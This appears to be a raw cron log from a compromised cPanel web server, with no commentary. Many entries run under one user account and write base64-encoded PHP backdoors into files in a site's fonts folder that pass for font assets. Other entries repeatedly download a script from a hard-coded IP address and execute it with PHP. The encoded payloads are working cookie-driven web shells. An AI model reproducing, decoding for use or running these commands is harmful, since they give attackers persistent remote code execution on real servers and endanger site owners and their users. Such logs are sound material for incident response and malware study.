Sep 11 13:00:02 ip-184-168-122-23 CROND[6883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:00:02 ip-184-168-122-23 CROND[6884]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:00:02 ip-184-168-122-23 CROND[6888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:00:02 ip-184-168-122-23 CROND[6889]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 13:00:02 ip-184-168-122-23 CROND[6890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:00:02 ip-184-168-122-23 CROND[6891]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:00:02 ip-184-168-122-23 CROND[6887]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:00:02 ip-184-168-122-23 CROND[6893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:01:01 ip-184-168-122-23 CROND[7025]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 13:01:01 ip-184-168-122-23 CROND[7029]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 13:01:01 ip-184-168-122-23 CROND[7028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:01:01 ip-184-168-122-23 CROND[7026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:01:01 ip-184-168-122-23 CROND[7031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:01:01 ip-184-168-122-23 CROND[7027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7025]: starting 0anacron
Sep 11 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7046]: finished 0anacron
Sep 11 13:02:01 ip-184-168-122-23 CROND[7208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:02:01 ip-184-168-122-23 CROND[7210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:02:01 ip-184-168-122-23 CROND[7212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:02:01 ip-184-168-122-23 CROND[7211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:02:01 ip-184-168-122-23 CROND[7213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:03:01 ip-184-168-122-23 CROND[7301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:03:01 ip-184-168-122-23 CROND[7302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:03:01 ip-184-168-122-23 CROND[7305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:03:01 ip-184-168-122-23 CROND[7304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:04:02 ip-184-168-122-23 CROND[7410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:04:02 ip-184-168-122-23 CROND[7411]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:04:02 ip-184-168-122-23 CROND[7415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:04:02 ip-184-168-122-23 CROND[7414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:04:02 ip-184-168-122-23 CROND[7417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:05:01 ip-184-168-122-23 CROND[7544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:05:01 ip-184-168-122-23 CROND[7545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:05:01 ip-184-168-122-23 CROND[7549]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:05:01 ip-184-168-122-23 CROND[7547]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:05:01 ip-184-168-122-23 CROND[7546]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 13:05:01 ip-184-168-122-23 CROND[7548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:05:01 ip-184-168-122-23 CROND[7550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:06:01 ip-184-168-122-23 CROND[7639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:06:01 ip-184-168-122-23 CROND[7640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:06:01 ip-184-168-122-23 CROND[7643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:06:01 ip-184-168-122-23 CROND[7644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:06:02 ip-184-168-122-23 CROND[7646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:07:01 ip-184-168-122-23 CROND[7845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:07:01 ip-184-168-122-23 CROND[7847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:07:01 ip-184-168-122-23 CROND[7848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:07:01 ip-184-168-122-23 CROND[7849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:08:01 ip-184-168-122-23 CROND[7991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:08:01 ip-184-168-122-23 CROND[7993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:08:01 ip-184-168-122-23 CROND[7994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:08:01 ip-184-168-122-23 CROND[7995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:08:01 ip-184-168-122-23 CROND[7996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:09:01 ip-184-168-122-23 CROND[8103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:09:01 ip-184-168-122-23 CROND[8105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:09:01 ip-184-168-122-23 CROND[8106]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 13:09:01 ip-184-168-122-23 CROND[8107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:09:01 ip-184-168-122-23 CROND[8108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:10:02 ip-184-168-122-23 CROND[8213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:10:02 ip-184-168-122-23 CROND[8215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:10:02 ip-184-168-122-23 CROND[8216]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 13:10:02 ip-184-168-122-23 CROND[8221]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:10:02 ip-184-168-122-23 CROND[8220]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:10:02 ip-184-168-122-23 CROND[8219]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:10:02 ip-184-168-122-23 CROND[8218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:10:02 ip-184-168-122-23 CROND[8217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:11:01 ip-184-168-122-23 CROND[8336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:11:01 ip-184-168-122-23 CROND[8340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:11:01 ip-184-168-122-23 CROND[8341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:11:01 ip-184-168-122-23 CROND[8342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
